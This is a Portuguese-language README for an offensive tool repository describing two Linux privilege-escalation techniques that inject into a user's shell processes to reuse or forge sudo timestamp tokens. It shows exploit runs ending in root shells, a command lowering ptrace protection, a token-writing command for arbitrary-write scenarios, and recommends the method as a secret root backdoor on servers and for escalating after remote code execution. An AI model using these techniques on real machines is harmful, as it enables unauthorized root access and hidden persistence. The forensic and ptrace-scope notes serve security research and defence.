
[Linux] Duas técnicas de escalada de privilégios que abusam do token sudo
Todos nós já percebemos que às vezes o sudo não nos pede uma senha porque ele se lembra de nós. Como ele se lembra de nós e como ele nos identifica? Podemos falsificar nossa identidade e nos tornar root? Até onde eu sei, esta pesquisa ainda não está documentada, mas me avise se estiver. De fato, o sudo cria um arquivo para cada usuário Linux em /var/run/sudo/ts/[username]. Esses arquivos contêm autenticações bem-sucedidas e também falhas; então o sudo usa esses arquivos para lembrar todos os processos autenticados. -- @chaignc
Este repositório fornece a você:
PS: leia os requisitos!!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
O tempo limite padrão da senha é de 15 minutos. Portanto, se você usar sudo duas vezes em 15 minutos (900 segundos), você não será solicitado a digitar a senha do usuário novamente.
O exploit.sh injeta todos os processos de shell pertencentes ao usuário atual e usa o token sudo deles para validar nosso próprio token sudo. São apenas 3 linhas de shell; dê uma olhada.
Isso está longe de ser uma escalada de privilégios genérica sem requisitos, mas funciona; por exemplo, se você tiver um RCE e não tiver a senha do usuário, mas a vítima usa sudo, então você pode facilmente obter root roubando o token dele.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Abra dois terminais:
Para aqueles com menos sorte com o exploit v1, tente a v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
A saída está para ser melhorada, mas cada tentativa de sudo de um processo tem uma entrada em /var/run/sudo/ts/[username]. Além disso, esses arquivos são armazenados em tmpfs(ram) e alguém poderia escrever um plugin para o volatility para analisar essas informações e coletar tentativas de sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Se você tiver uma escrita arbitrária, você pode criar um token sudo para o seu processo atual para obter execução de código como root. confira './write_sudo_token $$ > /var/run/sudo/ts/[username]' em extra_tools.
Uma ótima maneira de criar uma backdoor root secreta em servidores que raramente reiniciam. Ainda não feito, mas confira './write_sudo_token $$' em ./extra_tools
Eu estava procurando uma maneira de roubar o token sudo de um processo morto, mas não parece possível porque eles estão associados por ((horário de início do processo e id da sessão do processo) ou (horário de início do tty e id da sessão do tty)). O id da sessão (pid do processo) pode ser falsificado, mas o horário de início do processo não é falsificável.
kernel.yama.ptrace_scope = 1
Injeção de código entre processos no Linux sem ptrace
Movendo um processo para outro terminal
https://www.linusakesson.net/programming/tty/
Por @chaignc #HexpressoTeam.